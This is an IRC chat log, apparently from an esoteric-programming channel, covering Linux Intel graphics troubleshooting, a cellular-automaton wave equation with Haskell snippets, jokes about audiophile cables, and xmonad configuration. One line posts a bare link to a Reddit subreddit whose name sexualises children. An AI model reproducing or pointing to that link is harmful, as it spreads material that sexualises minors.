00:07:37 <kallisti> 3.2.6 might have some kind of bugfixes relevant to all these problems? just going out on a limb, lol
00:07:55 <fizzie> It's certainly possible.
00:08:18 <fizzie> You can check the changelogs for "i915" changes, those are especially likely to be relevant.
00:08:24 <kallisti> it looks like the bug you linked me to is patched in 3.2.28
00:09:00 <kallisti> linux-patch-debian-3.2 - Debian patches to version 3.2 of the Linux kernel
00:10:55 <kallisti> haven't installed this apparently.
00:11:00 <fizzie> They're only up in 3.2.9, so 3.2.28 sounds unlikely.
00:11:23 <fizzie> Also it probably just has the patches, if you want to build a kernel.
00:11:43 <fizzie> If it's one of the linux-image-X packages, those have Debian's patchset in.
00:12:03 <kallisti> I have the newest linux kernel in Debian repos
00:14:43 <kallisti> and my torrent is apparently not going anywhere...
00:18:02 <kallisti> oh right I was going to restart X
00:19:22 <kallisti> yeah same output from xrandr -q
00:21:29 <kallisti> hmm for some reason I have both i915-kms.conf and radeon-kms.conf
00:27:35 <kallisti> hmm with bootparameters I can set individual video devices to KMS on or off.
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00:31:25 <fizzie> Yes, but you can also do the same with module options that come from whatever config files.
00:33:37 <fizzie> The 'intel' X driver shouldn't really have an output named "default" no matter whether KMS is on or off, though.
00:34:35 <fizzie> I suppose it *is* using the intel driver?
00:34:55 <kallisti> is there any other possibility?
00:35:31 <fizzie> There's always vesa_drv, but if it's like it used to be, it's so slow you probably would've noticed.
00:35:51 <fizzie> /var/log/Xorg.0.log should mention "intel_drv.so" if it's using it.
00:36:32 <kallisti> [ 4917.447] (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so
00:36:55 <kallisti> [ 4917.465] (II) Loading /usr/lib/xorg/modules/drivers/vesa_drv.so
00:37:31 <fizzie> Yes, it probably checks those all. But you should have a pile of "intel(0)" lines too.
00:37:43 <fizzie> [ 16.944] (II) intel(0): Integrated Graphics Chipset: Intel(R) Q45/Q43
00:37:43 <fizzie> [ 16.944] (--) intel(0): Chipset: "Q45/Q43"
00:37:43 <fizzie> [ 16.944] (==) intel(0): video overlay key set to 0x101fe
00:37:43 <fizzie> [ 17.085] (II) intel(0): Output VGA1 has no monitor section
00:37:43 <fizzie> [ 17.347] (II) intel(0): Output DVI1 has no monitor section
00:37:46 <fizzie> [ 17.504] (II) intel(0): EDID for output VGA1
00:37:55 <kallisti> not in the Xorg log, but I recall seeing them
00:38:26 <fizzie> Xorg log is where they should be.
00:38:52 <fizzie> I guess you could just sprunge that logfile while you're at it.
00:39:00 <fizzie> Or is it spruge? I can never remember.
00:39:23 <kallisti> also known as "the best thing ever"
00:39:23 <fizzie> [ 4917.767] (II) VESA(0): initializing int10
00:39:23 <fizzie> [ 4917.768] (II) VESA(0): Bad V_BIOS checksum
00:39:24 <fizzie> [ 4917.768] (II) VESA(0): Primary V_BIOS segment is: 0xc000
00:39:29 <fizzie> Yeah, that's the vesa driver.
00:39:42 <fizzie> It doesn't do multiple outputs, probably.
00:40:17 <fizzie> Well, maybe... though I wouldn't think KMS was mandatory yet.
00:40:39 <kallisti> there was definitely a change when I turned off KMS for the intel driver.
00:40:54 <kallisti> and plugging in the second monitor doesn't freeze anything
00:41:28 <fizzie> [ 4917.750] (EE) open /dev/fb0: No such file or directory
00:41:33 <fizzie> That's slightly suspicious.
00:42:23 <fizzie> Though it's also possible to not have kernel-side framebuffer devices and X could still be using the hardware-specific drivers.
00:42:38 <kallisti> ls: cannot access /dev/fb*: No such file or directory
00:43:59 <fizzie> http://p.zem.fi/dvm0 -- that's how it goes at work; it's identical up until that empty line, then it diverges.
00:44:25 <fizzie> Do you have the /dev/dri/ things?
00:45:20 <fizzie> Hrm, well; that's the kernel i915 driver, most likely, and I suppose it should be enough for the X driver.
00:46:18 <kallisti> so I just installed libggi-target-fbdev
00:46:22 <kallisti> which creates fb device nodes.
00:47:07 <kallisti> ...I have no idea if that changes anything.
00:47:27 <kallisti> but my general solution to things so far has been to apt-cache search things that sound relevant
00:47:47 <kallisti> which is probably not a good idea.
00:48:57 <fizzie> If there's a kernel framebuffer, udev should make a /dev/fb0 for it. But I don't have a clue whether there normally is, for Intel graphics.
00:49:02 <fizzie> (The "optimal" fix of course would be to make things not hang even when KMS is enabled; that's the future-approved way of doing things.)
00:49:17 <fizzie> (Assuming X is using the intel driver when that is on.)
00:49:29 <kallisti> that's the only one it can use with KMS
00:49:59 <kallisti> KMS, according to the internet, is only used by radeon, intel, and... one other thing I don't remember
00:50:28 <fizzie> Sure, sure, but it's still possible to have Intel's DRI driver with KMS enabled, and have X just ignore that.
00:50:42 <fizzie> (And break, of course.)
00:50:59 <kallisti> I think I'm going to restart with KMS on and these fbdev things installed
00:51:34 <kallisti> or is that not going to change anything?
00:52:36 <fizzie> Everything's worth trying.
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00:53:02 <itidus21> to all the questions with an odd vowel count the answer is yes, to all the questions with an even vowel count the answer is usefully no
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00:55:34 <kallisti> $ cat /var/log/Xorg.0.log | sprunge http://sprunge.us/HghU
00:55:58 <kallisti> running .xsession took a long time for some reason
00:56:56 <fizzie> Well, that's more intely, and multi-outputty.
00:57:06 <kallisti> aaaand... second monitor still freezes everything
00:57:31 <fizzie> (LVDS1 is the internal panel.)
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00:58:13 <kallisti> [ 49.050] (**) intel(0): Relaxed fencing enabled
00:58:21 <fizzie> Do you have a second box you can SSH from? I mean, is "freezes everything" just "-- graphically speaking", or does it actually affect running processes?
00:58:21 <kallisti> I didn't know xorg was a fan of casual sporting.
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01:00:05 <fizzie> Then you could run "DISPLAY=:0 xrandr -q" and "DISPLAY=:0 xrandr --auto" in a tty.
01:00:32 <fizzie> (Assuming of course that it's not X completely that hangs up, just the visual side.)
01:01:01 <kallisti> as soon as I stop trying to lean back in a chair with wheels and almost falling over...
01:03:38 <kallisti> it says LVDS1 is connected and nothing else is
01:03:51 <fizzie> "The "Intel" wiki article says: "Versions 2.10 and newer of the xf86-video-intel driver no longer support UMS, making the use of KMS mandatory."." I suppose that explains why no-KMS system doesn't do the intel driver.
01:04:29 <kallisti> it snaps back to whatever tty I was on before
01:04:56 <kallisti> also Ubuntu download is done I could check that out
01:05:12 <kallisti> but it seems like a software thing...
01:06:22 <fizzie> It does, but of course one never knows.
01:06:56 <kallisti> oh good now I need to find a sane disk burner program
01:07:35 <kallisti> that's what I used previously.
01:07:54 <fizzie> There seem to be all kinds of "wavy output on external screen" woes and such with i915 + KMS + i3, but nothing directly related. Of course it's possible that some unrelated fix fixes your problems too.
01:08:53 <fizzie> I've mostly just used wodim and growisofs, and Brasero for one audio CD project that it kept crashing on, so...
01:08:57 <zzo38> On Linux systems I have used "wodim" to record optical discs
01:11:31 <zzo38> As far as I know, dd cannot be used to record optical discs.
01:11:59 <zzo38> It works with most other things, though.
01:12:38 <olsner> seems like a thing dd should be able to do, but iirc cd recorders need special magic
01:16:09 <kallisti> dude I've been reading so many man pages lately...
01:16:12 <fizzie> I have a vague feeling with some variants of DVDs you can maybe do it. At least growisofs's "burn an image" mode just says "executing builtin_dd", though it might do some initial magic before that.
01:17:29 <fizzie> Anyway, wodim's so easy nowadays; just "wodim blah.iso" or "wodim blank=fast" if you need to clear a cdrw first. Back when it was just "cdrecord" it was all about -scanbus flags and figuring out "fakey" SCSI device numbers for the dev= parameter.
01:18:14 <kallisti> the man page was being quite overcomplicated with its examples.
01:19:09 <fizzie> It can do so very much.
01:19:19 <fizzie> I think I'll slep a bit.
01:21:27 <kallisti> does it pick the maximum speed by default?
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01:38:38 <kallisti> fizzie: hm, no. it does the same thing in Ubuntu
01:38:50 <kallisti> so, apparently it's a hardware issue.
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02:15:52 <oerjan> <elliott> Anyway, we've entered stage #3 of your terrible ideas, "sarcastically dismissing all objections"; roll on stage #4.
02:16:04 <oerjan> do you think we could get david attenborough to narrate this?
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02:16:56 <oerjan> "And here the kallisti makes a foolish move, allowing the spotted swamp elliott to jump for attack..."
02:18:55 <oerjan> for a good meal, i think we say.
02:20:17 <kallisti> '(cperl-highlight-variables-indiscriminately t)
02:20:26 <zzo38> For a bad chess, I think we say.
02:21:29 <oerjan> zzo38: i think i gave you link discussing whether the fermat's last theorem can be proved in weak theories before
02:22:11 <oerjan> (iirc the answer was something like "it's ongoing research")
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02:26:05 <kallisti> I now have a POPUP EMACS TOOLBAR
02:26:11 <kallisti> with the command show-toolbar-for-one-command
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03:55:02 <Sgeo_> I can't help but think that Clojure looks like a neat language but the JVM is iffy
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04:13:47 <oerjan> <zzo38> Do you have a .plan file on any accounts anywhere?
04:13:57 <oerjan> as a matter of fact i do.
04:14:14 <oerjan> tyrell:oerjan:~> cat .plan
04:14:14 <oerjan> World domination through widespread nonsense and confusion.
04:14:54 <oerjan> tyrell:oerjan:~> ls -l .plan
04:14:54 <oerjan> -rw-r--r-- 1 oerjan nettverk 60 1994-09-20 19:13 .plan
04:15:54 <oerjan> i'm all set on the confusion part, the widespread part is lagging a bit.
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04:50:09 <kallisti> http://www.reddit.com/r/kidsdancinglikewhores
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04:57:24 <oerjan> Let's see if the webchat is more stable than going through nvg
04:58:09 <tswett> Okay, I'm really sort of surprised there isn't a language called BBBBBBBBBBBBBB.
04:58:26 <tswett> I've probably mentioned this before, but it was probably years ago.
04:58:43 <oerjan> good point, also an opportunity for the discriminating esolanger
04:58:54 <tswett> So yeah. I'm going to create a new language now.
05:00:15 <tswett> Hm... I'm not coming up with any ideas.
05:00:19 <oerjan> ah a violentacrez creation.
05:00:46 <tswett> Ah, Señora Violenta Crez. She's some reddit guy, isn't she?
05:01:08 <oerjan> i've not heard about eir being female, but...
05:01:21 <oerjan> anyway notorious for making notorious subreddits
05:01:21 <tswett> I have no idea what Sra. Crez has to do with this.
05:01:44 <tswett> Well, "Violenta" is a feminine word, right? So clearly she's female.
05:01:44 <oerjan> that was to kallisti's link above
05:02:23 <oerjan> your logic is impeccable and i must submit.
05:03:12 <tswett> So, maybe this language should be based on delay lines...
05:04:12 <oerjan> sounds most excellent.
05:04:42 <tswett> Lessee, how do we discretize the wave equation?
05:04:59 <tswett> Which is, of course, a fancy way of saying "implement delay lines in a cellular automaton".
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05:05:29 <oerjan> difference calculus, perhaps?
05:05:43 <tswett> Let . represent "off" and # represent "on"; then a signal on a delay line looks something like ....#....
05:06:02 <oerjan> like whatever is the difference calculus version of sin'' = -sin
05:06:21 <tswett> Most of the .s are off, did not just change, and are not adjacent to #, so they stay off: (0,0,0) -> 0.
05:06:38 <tswett> The . to the left of the # is off, did just change, and is adjacent to #, so it stays off: (0,1,1) -> 0.
05:06:56 <tswett> The # is on, did just change, and is not adjacent to #, so it turns off: (1,1,0) -> 0.
05:07:07 <oerjan> hm also needs to use a finite field or maybe ring
05:07:35 <tswett> And the . to the right of the # is off, did not just change, and is adjacent to #, so it turns on: (0,0,1) -> 1.
05:08:21 <tswett> So the obvious way to do this: a cell's next state is its current state XOR (its current state XOR its previous state) XOR whether or not it's adjacent to a #.
05:08:25 <tswett> Which is a stupid way to write that.
05:08:35 <tswett> A cell's next state is its previous state XOR whether or not it's adjacent to a #.
05:08:59 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
05:09:23 * oerjan wanted to see how it looked in the webchat
05:09:31 <lambdabot> Not in scope: data constructor `S'Not in scope: `myndzi'Not in scope: `exist'
05:09:42 <tswett> Whoops. I meant to say that in such a way that lambdabot doesn't hear it.
05:14:07 <tswett> Come to think of it, the delay line I just gave isn't linear, and it's non-linear in such a way that signals will not freely pass through each other.
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05:16:59 <tswett> Okay. I have the complete language now.
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05:23:54 <oerjan> > let cycd b l = l' where l' = zipWith (scanl $ \x y -> (x+y) `mod` b) l . tail $ cycle l' in head $ cycd 5 [0,1,0,-1]
05:24:02 <tswett> I think the correct pronunciation of "BBBBBBBBBBBBBB" will be "Three in the Morning (RJ's I Can Barely Sleep In This Casino Remix)".
05:24:12 <tswett> Which is to say, it will be the song.
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05:30:56 <tswett> I think that using delay lines alone, you can construct any linear circuit... maybe.
05:31:41 <tswett> An intersection acts as a XOR gate. It's a XOR gate that spits bits back down its inputs, though.
05:34:33 <oerjan> > let cycd b l = l' where l' = scanl (zipWith $ \x y -> (x+y) `mod` b) l $ map (tail . cycle) l' in map head $ cycd 5 [0,1,0,-1]
05:34:34 <lambdabot> [0,1,2,2,0,1,2,2,0,1,2,2,0,1,2,2,0,1,2,2,0,1,2,2,0,1,2,2,0,1,2,2,0,1,2,2,0,...
05:34:59 <oerjan> > let cycd b l = l' where l' = scanl (zipWith $ \x y -> (x+y) `mod` b) l $ map (tail . cycle) l' in map (!! 1) $ cycd 5 [0,1,0,-1]
05:35:00 <lambdabot> [1,1,0,3,1,1,0,3,1,1,0,3,1,1,0,3,1,1,0,3,1,1,0,3,1,1,0,3,1,1,0,3,1,1,0,3,1,...
05:35:04 <oerjan> > let cycd b l = l' where l' = scanl (zipWith $ \x y -> (x+y) `mod` b) l $ map (tail . cycle) l' in map (!! 2) $ cycd 5 [0,1,0,-1]
05:35:06 <lambdabot> [0,4,3,3,0,4,3,3,0,4,3,3,0,4,3,3,0,4,3,3,0,4,3,3,0,4,3,3,0,4,3,3,0,4,3,3,0,...
05:35:09 <oerjan> > let cycd b l = l' where l' = scanl (zipWith $ \x y -> (x+y) `mod` b) l $ map (tail . cycle) l' in map (!! 3) $ cycd 5 [0,1,0,-1]
05:35:11 <lambdabot> [-1,4,0,2,4,4,0,2,4,4,0,2,4,4,0,2,4,4,0,2,4,4,0,2,4,4,0,2,4,4,0,2,4,4,0,2,4...
05:36:08 <oerjan> > let cycd b l = l' where l' = scanl (zipWith $ \x y -> (x+y) `mod` b) l $ map (tail . cycle) l' in map (!! 4) $ cycd 5 [0,1,0,-1]
05:36:09 <lambdabot> [*Exception: Prelude.(!!): index too large
05:37:24 <oerjan> oh well looks plausible
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05:40:18 <tswett> You're not... implementing these delay line thingies in Haskell, are you?
05:41:30 <kallisti> Haskell is a good language for DSP what?
05:46:58 * tswett realizes that the rule he came up with is, in fact, a discrete version of the wave equation.
05:47:41 <oerjan> tswett: i'm just trying to write a difference version of the wave equation
05:47:59 <tswett> "A cell's next state is its previous state XOR whether or not it's adjacent to an 'on' cell."
05:48:24 <tswett> Lessee. The wave equation says that the acceleration is proportional to the concavity. So if I want to introduce non-linearity... I should probably say that the acceleration is related, but not proportional, to the concavity.
05:48:40 <tswett> s/an 'on' cell/an odd number of 'on' cells/--*then* it's linear.
05:48:50 <tswett> s/an 'on' cell/at least one 'on' cell/--boom, non-linear.
05:49:18 <oerjan> um acceleration is _always_ proportional to concavity
05:49:37 <oerjan> i think you mean that both are proportional to the current value
05:50:13 <oerjan> or maybe i don't quite remember the equation, i'm just going by f'' = -f here
05:50:38 <tswett> Yeah, f'' = -f is not the wave equation.
05:51:11 <tswett> Heck. If time and space are the same, acceleration *is* concavity.
05:51:27 <tswett> Acceleration is the second derivative with respect to time; concavity, with respect to space.
05:52:26 <Jafet> f'' = -f is a wave equation
05:52:44 <oerjan> f'' = -f is for just a single point in space
05:52:55 <tswett> quintopia: 1D space, 1D time, so that adds up to 2D.
05:53:04 <tswett> Wait, what am I saying?
05:53:26 <tswett> The rule I just gave is discrete and can be applied to an arbitrary graph; dimension doesn't matter.
05:53:46 * tswett gradually goes to bed.
05:53:58 <quintopia> yes but it may not be interesting in arbitrary graphs
05:55:04 <tswett> > /me shows off his stupid magical ability to go unheard by bots.
05:55:13 <tswett> > Good night, everyone!
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08:26:05 <fizzie> http://i.crackedcdn.com/phpimages/article/2/1/0/119210_v1.jpg I... don't think that fish is really our symbol.
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08:30:47 <fizzie> Mind you, I don't know what exactly it should be. Of course there's always the flag, or maybe the retarded lion.
08:31:58 <oerjan> you could always go with the moomins
08:32:32 <fizzie> http://satwcomic.com/coat-of-arms
08:32:59 <fizzie> (And http://satwcomic.com/proud-finland as an extension.)
08:34:48 <olsner> http://finland.fi/Public/default.aspx?contentid=160085&nodeid=41803&culture=en-US
08:42:36 <fizzie> No mention on whether Swedes made it look retarded as a not-so-subtle dig.
09:13:05 <kallisti> It's a mistake to think that if something isn't constantly changing then it's somehow obsolete. Some things just work, and don't need to change for the sheer sake of change.
09:14:50 <kallisti> I think this is basically what's happening to the technology market.
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09:55:57 <zzo38> I do not completely understand what causes midnight sun and that stuff. I know the tropics; and there are also polar circles but I do not understand them as much as the tropics. But what I know is Placidus houses are not defined in polar regions, and Campanus houses can sometimes be reversed in polar regions, and the azimuth of Sun will be to the north.
09:56:18 <zzo38> But I see nothing about the relation of those things in Wikipedia
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13:13:30 <BIOCreator> http://esolangs.org/wiki/Talk:Basic_Input/Output_Commander#The_point_of_Basic_Input.2FOutput_Commander.3F
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13:34:31 <fizzie> I suppose that was mostly meant for elliott, I guess?
13:34:56 <fizzie> E's the one that's been... interacting.
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13:58:08 <elliott> How did you convert text to character numbers?
13:58:08 <elliott> This is an advanced algorithm, but you can find an easy converter here (Convert ASCII text into Decimal/Unicode, not Padded, use "" as a delimeter left and " " as a delimeter right)
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13:58:55 <fizzie> You need a degree to understand it, that's how advanced it is.
13:59:27 <fizzie> ^ord This is an advanced algorithm.
13:59:27 <fungot> 84 104 105 115 32 105 115 32 97 110 32 97 100 118 97 110 99 101 100 32 97 108 103 111 114 105 116 104 109 46
14:00:24 <elliott> OK, "scenarii" is in no way a valid plural of "scenario", right?
14:01:34 * elliott doesn't trust Vorpal's opinions on English.
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14:02:05 <Vorpal> elliott, well the spell checker doesn't like "scenarii" and it does like "scenario", good enough for me
14:02:10 <fizzie> Do you trust Wiktionary's? Because they comment on it specifically. "scenarii: From scenario, the terminal o having been replaced with an i to form its plural, as per the Italian -o → -i pattern for forming plurals, by analogy with concerti and virtuosi. However, the plural of the Italian word scenario is scenari, making “scenarii” etymologically inconsistent. (nonstandard, rare) Plural form of scenario."
14:02:45 <elliott> fizzie: Oh, so they didn't coin it just for this email?
14:02:53 <elliott> OK, I'll resist the urge to yell at them, then.
14:03:04 <fizzie> For examples of the usage of this term see the citations page.
14:03:41 <fizzie> It has a total of three (3) examples.
14:03:57 <fizzie> Two book excerpts and a conference paper.
14:04:17 <fizzie> I could imagine a scientimancer use it, they like to be all ERDRUIDITE like that.
14:04:48 <fizzie> (The name of the author sounds Italian.)
14:05:44 <fizzie> (And the books are textbooks too.)
14:06:24 <fizzie> Handbook of The History Of Logic: Volume 7: Logic and the Modalities in the Twentieth Century: "Possible worlds are a special kind of scenarii, namely scenarii held possible by what R. Parikh calls “the community theory” or “our theory”…"
14:11:39 <elliott> 18:08:24: <Vorpal> ais523, I seen backtracking implemented with call/cc in a very elegant way, not sure what other abstraction in scheme would be suitable. Sure you could add new ones but will you need multiple ones or will whatever replaces call/cc be as flexible?
14:11:51 <elliott> Oleg wants to replace call/cc with delimited continuations, which is exactly what you want for logic programming.
14:17:44 <elliott> Reading this question on SO is the most unpleasant thing I've done today.
14:19:15 <Vorpal> elliott, what question is that?
14:19:47 <elliott> No, I refuse to link anyone else to it.
14:19:57 -!- itidus20 has left ("Leaving").
14:20:11 <Vorpal> elliott, must be really bad then
14:20:18 <Vorpal> elliott, if you don't even want to destroy my day
14:20:42 <elliott> But everyone else would click on it as well.
14:20:43 <Vorpal> elliott, then why on earth?
14:22:34 <Vorpal> This is the shittiest CAT 5e cable I have seen. You can see and feel the internal wires through the outer "shell" in several places, and in other places there seem to be too much room internally.
14:23:15 <Vorpal> Usually CAT 5e cables are nice and round all the way, not so with this one
14:23:43 <fizzie> Remember not to use it for hi-fi applications, then.
14:24:36 <Vorpal> I should take a picture of this next to a good one
14:25:30 <fizzie> Now as for cables for *real men*, try something like http://www.locus-design.com/index.php/cynosure-usb-cable -- $3549 for a 3 feet (a bit less than a metre) USB cable.
14:25:51 <elliott> It has the ghost of that guy in them?
14:25:56 <fizzie> It's got wrappings made out of "carbon fiber, cotton, SPC braid, ERS fabric, Nylon, Teflon, and many more [materials]".
14:26:17 <elliott> "allow the "sould" of the original Cynosure to stay intact"
14:26:21 <elliott> Thank god its sould is intact.
14:26:33 <fizzie> It's I think some sort of a combination of 'sound' and 'soul'.
14:27:51 <fizzie> If "for some odd reason" it doesn't improve your "sould", you can return it, after paying just a 20% restocking fee + delivery charges, as long as it still looks new enough so that it can be sold to some other sucker^Wcustomer.
14:28:28 <elliott> "For those who demand the very best, and have the means to acquire it."
14:28:46 <fizzie> "I have a vendor partner who I have have taught (and wasted more money than I want to think about teaching them) to make my wire exactly like I want it made, and exactly to my specs, which I then treat with my CryoFreeze™ process as soon as I receive it. So, the raw materials are without peer."
14:28:48 <Vorpal> hm the outer shell of this CAT 5e cable is actually twisted by the internal twisting somehow
14:29:00 <Vorpal> I suspect they didn't get the tension of the internal cables correct
14:29:33 <elliott> fizzie: I do not think this person knows the meaning of the word "waste". For several reasons.
14:30:45 <fizzie> elliott: Well, if you're such a cheap guy, you can buy their entry-level product; the "Essentia". It's somewhere between the Axis and the Nucleus 2 in the lineup, "offering a "taste" of the Nucleus v2, while remaining affordably priced at under $1000 for up to a 3FT length."
14:31:23 <elliott> "WARNING: These converters are for entertainment purposes only. Do not use results in critical applications."
14:31:29 <fizzie> It uses the "newest custom manufactured CFDCT-UP-OCC-SPCu wire". You know, that "mono-crystal silver plated copper" one.
14:31:35 <elliott> -- the converter linked in that "This is an advanced algorithm, but you can find an easy converter here (Convert ASCII text into Decimal/Unicode, not Padded, use "" as a delimeter left and " " as a delimeter right)" thing.
14:32:11 <elliott> "These cheap lunches were the genesis of a deep connection over food that would burgeon over the years and define a major aspect of our association."
14:32:35 <elliott> "I subsequently dared him to order a durian boba drink, which is a sort of Vietnamese frozen drink that is flavored with the most foul, malodorous, bizarre-tasting fruit that can be imagined. I knew Lee’s honor was at stake, and he knew it too; he struggled valiantly to finish the whole thing as I taunted him."
14:33:08 <fizzie> Is this about converters or cables or some completely new topic?
14:34:00 <Vorpal> And now for something completely different
14:34:06 <fizzie> It sounds like it's describing the subcontractor negotiations of the cable guy.
14:34:28 <elliott> fizzie: http://www.locus-design.com/index.php/peacebrigoodbye-leei
14:34:52 <fizzie> Yeah, I kind of guessed it was from Locus Design.
14:35:01 <fizzie> I keep reading that as "Locust Design".
14:35:02 -!- MSleep has changed nick to MDude.
14:35:12 <elliott> "Lee seemed exceptionally fatigued and in a rather black mood, and he left to get a bucket of ice. When he returned, he promptly dumped about half of its contents onto the carpeted floor at the foot of his bed. I was taken aback by the deliberateness of this inexplicable act, but chose to assume that it was an accident, so I bent down to pick up the cubes and begin putting them back in the bucket. “Leave them there!” he growled at me, dumpin
14:35:13 <elliott> what I had put back, then scattering them around the floor haphazardly with his bare foot. “I wanted them there!”"
14:36:04 <fizzie> elliott: Is that how the CryoFreeze™ process was invented?
14:37:56 <fizzie> http://www.audioexcellenceaz.com/cablecooker.htm
14:38:26 <fizzie> "The Extended Frequency Sweep (EFS) improves on every sonic parameter,
14:38:26 <fizzie> translating into more transparency and dimensionality, a deeper/wider soundstage,
14:38:29 <fizzie> and deeper / tighter bass information."
14:38:50 <fizzie> Have you "cooked your cables", if you know what I mean?
14:39:12 <Vorpal> http://www.locus-design.com/index.php/raven-power-cable <-- broken website
14:40:27 <elliott> My cable is always cooked, baby.
14:40:40 <fizzie> Vorpal: Fortunately there's a description of it also on the Whiplash site.
14:41:03 <fizzie> Everyone keeps cryogenically treating their cables.
14:41:11 <Vorpal> "Close attention is paid to mitigating mechanical noise and triboelectric effects." <-- is "triboelectric" even a real word?
14:41:46 <fizzie> It's the thing where you rub things.
14:41:55 <fizzie> Okay, that sounds a bit dirty too.
14:42:03 <Vorpal> well, not sure how that is related to USB cables
14:42:05 <fizzie> But you know the demonstration. Stick things to wall and all that.
14:42:27 <elliott> My cable is also stuck to the wall.
14:43:30 <fizzie> "While this power cable could be considered "affordable" in the grand scheme of things, we urge you not to judge it according to how much it costs. We invite you to compare this cable to your current favorite, and prepare to be pleasantly surprised!"
14:43:34 <Vorpal> I wonder why they actually put in those cables? Probably some cheap metal to maximise the profit margin.
14:43:42 <Vorpal> since anything more would be pointless
14:43:55 <elliott> fizzie: I never buy anything "affordable".
14:44:51 <fizzie> AIUI they buy regular cables that do whatever it is they want and then jazz them up. Probably whatever is easiest to get; I mean, it doesn't really matter whether the underlying cable costs $1.00 or $1.50 when you sell it for $400.
14:45:07 <Vorpal> Hm I should start a company selling overpriced resistors claiming that their margins are absurdly good or something. So people can replace the shoddy stock resistors in their hi-fi equipment!
14:45:21 <Vorpal> (warranty may be voided by that)
14:47:32 <fizzie> Anyway, I'd like someone to go talk with their power company about replacing the miles of presumably really horrible power cables that are between their house and the power plant with some Raven cable goodness.
14:48:31 <Vorpal> fizzie, I suggest silver power cables. Why? Because silver conducts electricity better than copper
14:48:57 <Vorpal> wait, don't they use aluminium even for outdoor cables?
14:51:14 -!- itidus21 has joined.
14:52:41 <fizzie> The "CDA-101" in "12 AWG CDA-101 high purity CF-DCT-OFC conductors" means 99.99% pure copper. I'm not sure if "CF-DCT-OFC" means anything, all Google hits on it seem to be about these cables.
14:54:24 <fizzie> Anyway, they do use silver too.
14:54:38 <fizzie> "This is an entirely new design, utilizing my custom manufactured CFDCT-UP-OCC-Ag wire. This mono-crystal silver wire is drawn from specially sourced bar stock --"
15:02:18 <elliott> http://forum.linode.com/viewtopic.php?t=8530 SCARREY.
15:03:48 <fizzie> "We await your FULL co-operation."
15:04:08 <elliott> Not implying anything about this particular case, however we do not preemptively null route unless requested to by the IP address assignee, or until there is an attack which is service affecting.
15:04:14 <elliott> "Not implying anything, but [IMPLIES ANYTHING]"
15:06:13 <fizzie> Anyway, what does Anonymous@Afghanistan have against "cheapo VPS" listing site is what I'd like to know.
15:06:33 <fizzie> I suppose lowendbox have WRONGED them.
15:07:08 <elliott> fizzie: They're fans of the finer things in life. Like Locus cables.
15:08:04 <kallisti> elliott: so I discovered the emacs-style keybinding helper in XMonad.Util.EZConfig
15:08:24 <kallisti> this basically means that my keybind config has ceased being straightforward.
15:08:38 <kallisti> or well cease such in the near future.
15:09:03 <elliott> $ wc -l ~/.xmonad/xmonad.hs
15:09:04 <elliott> 39 /home/elliott/.xmonad/xmonad.hs
15:09:59 <kallisti> $ cloc .xmonad/xmonad.hs | sprunge
15:11:12 <elliott> Comment markers within strings or here-documents are treated as actual comment markers and not string literals. For example the following lines of C code
15:11:12 <elliott> for (i = 0; i < 100; i++) {
15:11:17 <elliott> appear to cloc as two lines of C code (the lines with black text) and three lines of comments (the lines which have only red text--lines with both black and red text are treated as code).
15:11:22 <elliott> cloc is the worst. Even if sloccount does that too, I'm not sure.
15:11:39 <kallisti> some people on #xmonad have 1000+ line configs.
15:11:48 <kallisti> so, mine is still very very minimal
15:12:45 <kallisti> I need to figure out how to lock my touchpad, in particular
15:13:41 <kallisti> but now I also have M-s <number> (or M-s M-<number>) set to swap the current workspace with the given workspace number.
15:14:41 <fizzie> elliott: Gads, just about *everyone* keeps writing it "Linnode".
15:15:10 <kallisti> also, of course, epic screenshot code.
15:15:20 -!- AreaWP has quit (Remote host closed the connection).
15:15:36 <elliott> fizzie: More like BITnodeLOSSAGE.
15:15:54 <elliott> Bitnode Lossagecoin: the best cyberpunk protagonist?
15:16:13 <elliott> "I'm Bitnode Lossagecoin, but you can call me BitCoin (my `HANDLE') for short."
15:17:32 <kallisti> elliott: some people use tabbed layouts. which makes me wonder what they get out of a tiling window manager in the first place.
15:18:46 <fizzie> elliott: Real handles are things like "Crash Override".
15:18:47 <elliott> Huh? There are plenty of tiling WMs with tabbing.
15:19:13 <elliott> In fact, I think PWM and ion started the tiling WM renaissance.
15:19:18 <kallisti> hm, maybe I don't understand the functionality.
15:19:47 <kallisti> I imagine it as being a way to cycle through a bunch of maximized windows with a graphical indicator of each.
15:20:00 <kallisti> ...which is a lot like the way many people use a stacking window manager.
15:20:01 <elliott> Uh... You know browser tabs?
15:20:18 <elliott> Yes, you get one set of tabs per tiled pane.
15:20:46 <elliott> (Of course, with ion the tiling layout doesn't change automatically; dwm started that.)
15:21:47 <kallisti> hm, I could probably find tabbed layouts useful for a few things
15:22:10 <elliott> The only bearable IM clients have tabbing.
15:22:17 <elliott> (I say "s", it's actually just Pidgin.)
15:27:02 <elliott> http://www.ehow.com/how_2106418_build-space-ship.html
15:28:35 <Vorpal> <kallisti> I need to figure out how to lock my touchpad, in particular <-- I use synaptics to do that
15:28:49 <Vorpal> so I can use the trackpoint without having the touchpad active
15:42:38 <itidus21> be careful.. everything that gets built by companies gets patented
15:43:49 <itidus21> would be nice if you guys set prior art by discussing it thouhg
15:44:04 <itidus21> but.. does prior art even matter any more?
15:44:26 <Vorpal> itidus21, you ought to talk to elliott, I don't have time for this
15:44:56 <itidus21> you can pretend that the most important topic of GUIs today is not patents.. but it is
15:45:50 <elliott> Vorpal: /dev/null would work just as well.
15:46:08 <Vorpal> itidus21, there are no software patents where I live so
15:50:11 <elliott> itidus21: Many patents are taken out only to prevent other companies from taking out patents on the same thing and using them in a hostile manner against the original company.
15:50:58 <itidus21> i killed a PSU today.. i'm a 'tard
15:51:23 <itidus21> ok.. ill try to reply properly
15:52:14 <itidus21> knowing that, which i didn't know, should help me when the next patent web article makes my blood pressure rise
15:53:03 <itidus21> but i have a more cynical view of companies that they are all as hostile as possible within their constraints
15:54:31 <elliott> There's a difference between being hostile and spending a bunch of money litigating against smaller companies without enough money to pay them.
15:56:58 <itidus21> i just can't imagine any business without conjuring visions of demons and devils and battlefield infantry and bullies criminals and grinches
15:57:39 <elliott> Not being a therapist, I will decline to comment on the matter.
15:59:59 <itidus21> if i had to explain my mind among esoteric programmers i would say it is like a cellular automata which was charged with calculating 2+2 but due to some random interference it ended up being a methuselah of great complexity
16:00:33 <elliott> I guess it depends on your definition of complexity.
16:01:31 <itidus21> hmm.. humm.. theres a word i need to look up for that
16:02:24 <itidus21> basically anything which isn't still life or oscillators
